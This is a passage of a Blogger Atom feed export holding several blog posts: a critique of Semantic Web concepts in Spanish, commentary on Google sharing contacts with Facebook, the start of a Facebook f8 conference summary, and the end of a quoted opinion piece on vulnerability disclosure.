can't eliminate  all security vulnerabilities, then it becomes all the more critical that  we handle them carefully and responsibly when they're found. Yet much  of the security community handles them in a way that fairly guarantees  their use, by following a practice that's best described as &lt;span style="color:purple;"&gt;information anarchy&lt;/span&gt;.&lt;/cite&gt; &lt;/p&gt;&lt;p&gt; &lt;cite style="display: block; padding-left: 2em;"&gt;It's simply indefensible for the security community to continue arming cybercriminals."&lt;/cite&gt;&lt;/p&gt;&lt;img src="https://blogger.googleusercontent.com/tracker/383549007228220941-2277256169708273675?l=lcamtuf.blogspot.com" alt="" height="1" width="1" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-8214852736858737704?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/8214852736858737704/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/08/blogging-deja-vu-ghost-posts.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/8214852736858737704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/8214852736858737704'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/08/blogging-deja-vu-ghost-posts.html' title='Blogging Deja-vu: Ghost Posts'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-3618063820284161053</id><published>2010-08-01T21:27:00.000-07:00</published><updated>2010-08-01T23:07:28.373-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='semantic'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><category scheme='http://www.blogger.com/atom/ns#' term='semantica'/><title type='text'>Una invitación crítica a la Web Semántica</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.w3.org/DesignIssues/diagrams/sw-stack-2005.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 359px; height: 304px;" src="http://www.w3.org/DesignIssues/diagrams/sw-stack-2005.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Estoy empezando a leer un libro sobre la Web Semántica: &lt;a href="http://www.ics.forth.gr/isl/swprimer/"&gt;A Semantic Web Primer&lt;/a&gt;. Con mayúsculas, esa que auguran ávidos comedores de subsidios científicos, prometiendo un futuro de transacciones automáticas, confort y agentes web que nos hacen las compras mientras nos rascamos el ombligo.&lt;br /&gt;&lt;br /&gt;Para invitarlos a meterse de lleno en este fantástico mundo que tal vez felizmente desemboque en una web mejorada voy a criticar algunos puntos conceptuales turbios del &lt;span style="font-style: italic;"&gt;status quo&lt;/span&gt; científico sobre el tema. Espero que esto nos permita luego avanzar hacia una versión mejorada de la web semántica que podremos llamar Web Ergonómica. También la podemos llamar como se nos plazca.&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Wrappers&lt;/span&gt;: programas para extraer información estructurada de datos poco o nulamente estructurados. Ejemplos: Reconocimiento óptico de carácteres, expresiones regulares para extraer precios de comercios online.&lt;br /&gt;&lt;blockquote&gt;Their functionality is provided by wrappers, programs that extract information from an online store. [..] This heuristic approach is error-prone; it is not always guaranteed to work.  &lt;/blockquote&gt;Entonces los &lt;span style="font-style: italic;"&gt;wrappers&lt;/span&gt; serían malos porque no son confiables. Tal vez habría que hacer mas precisa la tasa de error y propiedades de los wrappers. Pero no se pueden evitar a menos que querramos obligar a todo el mundo a usar los mismos formatos, de la misma manera, o querramos tirar a la basura todos los datos historicos que tenemos.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Hay mucho enfasis (enfatitis?) en B2C y B2C, es decir aplicaciones para el consumidor final e inter-negocios.  &lt;blockquote&gt;Auctioning, negotiations, and drafting contracts will be carried out automatically (or semiautomatically) by software agents. &lt;/blockquote&gt;Pareciera como si quisieran que la actividad humana fuera dejada en manos de máquinas, que operarían y vivirían por nosotros, mientras nos dedicamos a interpretar sus interfaces amigables. Esto esta un poco en contradicción con un punto que veremos más abajo, que es la prueba de veracidad de los resultados de la consultas y operaciones.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;La consistencia como obviedad y requisito primero. &lt;blockquote&gt;This [semantic web] information could then be used for context-specific presentation of pages, advanced querying, and consistency verification.&lt;/blockquote&gt;Ya es difícil meter una misma oración los conceptos de consistencia y presentación dependiente del contexto. Más luego como mantener la consistencia si los repositorios de datos, es decir las fuentes, son heterogéneas y, lo más importante, controladas por sistemas (políticamente) autónomos.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Extraña jerarquía de capas. Usualmente cuando se habla de un diseño por capas es para lograr cierta &lt;span style="font-style: italic;"&gt;independencia&lt;/span&gt; entre características del sistema. Pero no acá. Parecería que el significado es otro.  Queremos "downward compatibility of languages", y "partial upward compatibility of languages". Esto básicamente seria que si un interprete de ontología entiende OWL entonces tiene que entender XML, porque OWL esta descripto con XML. Si hacemos una analogía con lenguajes de alto nivel y bajo nivel, esto no seria cierto porque para que un interprete entienda Java no hace falta que conozca el código de máquina abstracta de Java ni el código de máquina Intel (en niveles inferiores). Luego parecería que como diseño de capas no es bueno o realmente no se quiere independencia de los distintos niveles, por ejemplo reglas de deducción y ontologías/categorías.                   &lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Proof&lt;/span&gt;: todas las respuestas son verificables por el usuario, porque todas tiene un desarrollo/deducción lógica de donde vinieron. Puede pasar que la deducción de algo importante sea muy largo e impracticable de verificar a ojo. También puede pasar que sea necesario verificar en sí los elementos de la demostracion per se, de esta manera necesitamos otro sistema IA/web semantico para verificar la verificación y así sucesivamente.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Hay un sobre enfasis en seguridad y confianza. &lt;blockquote&gt;Being located at the top of the pyramid, trust is a high-level and crucial concept: the Web will only achieve its full potential when users have trust in its operations (security) and in the quality of information provided.&lt;/blockquote&gt; Esto esta bien por ejemplo para una aplicación financiera, donde no se quiere perder dinero y se quiere que la gente confíe (sino no va a usarla). Otro ejemplo tal vez menos explicito pero mas interesante. Si la gente/sistemas web generan mucha información negativa sobre un jugador de fútbol, más alla de si es bueno o no, esta información puede indicar que el jugador juega en primera división. Es decir también son importantes las propiedades y filtros cuantitativos, (volumen, tiempo) no solamente los filtros cualitivativos (confiable, seguro).&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Hay un problema más ético de fondo que es la delegación de la responsabilidad sobre decisiones a los agentes web inteligentes. Debería la web asistir al hombre que toma decisiones en vez de  la web tomar la decisiones. De alguna manera habría que categorizar que tan abstracta o importante es una decisión para ver si la queremos delegar a una máquina, en vez de por defecto delegar lo máximo o todo. Es decir no todo funciona como dentro de una compañia o corporación comercial con objetivos claros, en esos casos sí es mas facil delegar a una computadora para abaratar costos.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Concluyendo, en mi humilde opinión, tengamos en cuesta más los &lt;span style="font-style: italic;"&gt;datos heredados&lt;/span&gt;, tengamos en cuenta que apuntamos a un mejoramiento humano del conocimiento sobre el mundo, tengamos en cuenta que la consistencia distribuida es una fantasía, tengamos en cuenta que las capas y estándares son para ganar independencia en vez de lo contrario, tengamos en cuenta la confianza y la seguridad pero es más importante en este contexto la colaboración y las medidas cuantivativas, finalmente modelicemos dentro de este contexto también la cuestión máquina-hombre a la hora de tomar decisiones equilibradas.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;En breve espero seguiré escribiendo y críticando  conceptos y herramientas de la web semántica. Otros pequeños artículos del blog relacionados  son:&lt;br /&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;h3 class="post-title entry-title"&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://blog.mechpoet.net/2010/04/basic-privacy-queries-in-facebook-and.html"&gt;Basic privacy queries in Facebook and Argentina using Tuplets.&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;&lt;/li&gt;&lt;li&gt;&lt;h3 class="post-title entry-title"&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://blog.mechpoet.net/2010/05/el-futuro-de-facebook.html"&gt;El Futuro de Facebook.&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;&lt;/li&gt;&lt;li&gt;&lt;h3 class="post-title entry-title"&gt; &lt;span style="font-size:100%;"&gt;&lt;a href="http://blog.mechpoet.net/2009/12/notes-from-minsky-talk-on-artificial.html"&gt;Notes from Minsky talk on Artificial Intelligence.&lt;/a&gt;&lt;/span&gt; &lt;/h3&gt; &lt;div class="post-header"&gt;  &lt;/div&gt;&lt;a href="http://mitworld.mit.edu/video/484"&gt; &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-3618063820284161053?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/3618063820284161053/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/08/una-invitacion-critica-la-web-semantica.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3618063820284161053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3618063820284161053'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/08/una-invitacion-critica-la-web-semantica.html' title='Una invitación crítica a la Web Semántica'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-22613984638264146</id><published>2010-07-15T12:41:00.000-07:00</published><updated>2010-07-15T13:13:36.939-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='eoonomy'/><category scheme='http://www.blogger.com/atom/ns#' term='contacts'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>The social media fun is over, or Google is sending contacts to Facebook</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/TD9p4CqzGsI/AAAAAAAAAQs/kGWpfKag-bk/s1600/google2facebook.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 241px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/TD9p4CqzGsI/AAAAAAAAAQs/kGWpfKag-bk/s400/google2facebook.png" alt="" id="BLOGGER_PHOTO_ID_5494226481925266114" border="0" /&gt;&lt;/a&gt;Welly well, apparently the fun in social media is over. Google is sharing your contacts now with Facebook. There is no chance to separate your friends and family from your co-workers and providers (they are the same?). We will click and accept this unless we understand what is happenning.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Obviously, Google has began to surrender part of their social data in this social media fight for audience, within the attention-equals-money economy.&lt;/li&gt;&lt;li&gt;Will Facebook take over another arenas such as nanoblogging, online advertising, &lt;a href="http://industry.bnet.com/technology/10002415/facebook-developing-mobile-payment-future/"&gt;currency&lt;/a&gt; or &lt;a href="http://developers.facebook.com/docs/opengraph"&gt;semantic web&lt;/a&gt;?&lt;/li&gt;&lt;li&gt;I am most worried about Facebook taking over the electronic government arena. &lt;a href="http://en.wikipedia.org/wiki/Non-governmental_organization"&gt;NGO&lt;/a&gt;s and democratic dependencies are increasingly using this social site as headquarters for communications and political propaganda, despite the fact that Facebook commonly censors &lt;a href="http://translate.google.com/translate?js=y&amp;amp;prev=_t&amp;amp;hl=en&amp;amp;ie=UTF-8&amp;amp;layout=1&amp;amp;eotf=1&amp;amp;u=http://aurelianito.blogspot.com/2009/12/como-me-echaron-de-facebook.html&amp;amp;sl=es&amp;amp;tl=en"&gt;individuals closing accounts.&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tJD3vUnZtL0/TD9qQsPngOI/AAAAAAAAAQ0/A6rMDfzOtkk/s1600/go_vs_fa.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 34px;" src="http://3.bp.blogspot.com/_tJD3vUnZtL0/TD9qQsPngOI/AAAAAAAAAQ0/A6rMDfzOtkk/s400/go_vs_fa.png" alt="" id="BLOGGER_PHOTO_ID_5494226905402409186" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-22613984638264146?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/22613984638264146/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/07/social-media-fun-is-over-or-google-is.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/22613984638264146'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/22613984638264146'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/07/social-media-fun-is-over-or-google-is.html' title='The social media fun is over, or Google is sending contacts to Facebook'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tJD3vUnZtL0/TD9p4CqzGsI/AAAAAAAAAQs/kGWpfKag-bk/s72-c/google2facebook.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-1098941471257549626</id><published>2010-05-03T11:53:00.000-07:00</published><updated>2010-05-03T12:27:32.514-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='f8'/><category scheme='http://www.blogger.com/atom/ns#' term='future'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>The Future of Facebook</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/S98M_scFNYI/AAAAAAAAAPM/5gwwCqFLzpI/s1600/hack.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 225px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/S98M_scFNYI/AAAAAAAAAPM/5gwwCqFLzpI/s400/hack.jpg" alt="" id="BLOGGER_PHOTO_ID_5467102761051305346" border="0" /&gt;&lt;/a&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Well&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;my&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;friends&lt;/span&gt;, I &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;will&lt;/span&gt; post a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;summary&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;of&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;main&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;talk&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;at&lt;/span&gt; &lt;a href="http://apps.facebook.com/feightlive/"&gt;f8&lt;/a&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;FB&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;developer&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;conference&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;that&lt;/span&gt; I &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;have&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;just&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;viewed&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;deferred&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;Basically&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;they&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;comment&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;broadly&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;evolution&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;of&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;Facebook&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;API&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;available&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;for&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;apps&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;and&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;how&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;was&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;implemmented&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;new&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;interconnection&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;with&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;other&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;sites&lt;/span&gt; more &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;or&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;less&lt;/span&gt; social.&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;New&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;Facebok&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;Input&lt;/span&gt;&lt;/span&gt;: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;now&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;Facebook&lt;/span&gt;'s &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;partner&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;sites&lt;/span&gt; (e.g. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;CNN&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;and&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;IMDB&lt;/span&gt;) can &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;include&lt;/span&gt; a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;open&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;markup&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_58"&gt;called&lt;/span&gt; &lt;a href="http://opengraphprotocol.org/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;Open&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_60"&gt;Graph&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_61"&gt;Protocol&lt;/span&gt;&lt;/a&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_62"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_63"&gt;incorporate&lt;/span&gt; a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_64"&gt;standard&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_65"&gt;semantic&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_66"&gt;reference&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_67"&gt;into&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_68"&gt;the&lt;/span&gt; social &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_69"&gt;information&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_70"&gt;For&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_71"&gt;example&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_72"&gt;sports&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_73"&gt;celebrities&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_74"&gt;friends&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_75"&gt;and&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_76"&gt;places&lt;/span&gt; can be &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_77"&gt;unified&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_78"&gt;by&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_79"&gt;this&lt;/span&gt;  &lt;a href="http://en.wikipedia.org/wiki/XML"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_80"&gt;structured&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_81"&gt;and&lt;/span&gt; extensible &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_82"&gt;information&lt;/span&gt;&lt;/a&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_83"&gt;The&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_84"&gt;important&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_85"&gt;issue&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_86"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_87"&gt;remark&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_88"&gt;here&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_89"&gt;is&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_90"&gt;that&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_91"&gt;Facebook&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_92"&gt;wants&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_93"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_94"&gt;receive&lt;/span&gt; as &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_95"&gt;input&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_96"&gt;this&lt;/span&gt; social data, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_97"&gt;that&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_98"&gt;is&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_99"&gt;they&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_100"&gt;want&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_101"&gt;to&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_102"&gt;process&lt;/span&gt; social &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_103"&gt;information&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_104"&gt;from&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_105"&gt;third&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_106"&gt;parties&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_107"&gt;for&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_108"&gt;agregation&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_109"&gt;on&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_110"&gt;their&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_111"&gt;own&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_112"&gt;feeds&lt;/span&gt;&lt;/span&gt;. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_113"&gt;For&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_114"&gt;example&lt;/span&gt; I &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_115"&gt;recommended&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_116"&gt;an&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_117"&gt;article&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_118"&gt;into&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_119"&gt;my&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_120"&gt;FB&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_121"&gt;feed&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_122"&gt;from&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_123"&gt;CNN&lt;/span&gt;'s &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_124"&gt;site&lt;/span&gt;.&lt;blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/S98QBo9A2gI/AAAAAAAAAPU/0vX21Lj9Pgs/s1600/cnn.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 66px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/S98QBo9A2gI/AAAAAAAAAPU/0vX21Lj9Pgs/s400/cnn.png" alt="" id="BLOGGER_PHOTO_ID_5467106093010311682" border="0" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_125"&gt;New&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_126"&gt;Facebook&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_127"&gt;Output&lt;/span&gt;&lt;/span&gt;: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_128"&gt;the&lt;/span&gt; &lt;span class="blsp-spelling-error" 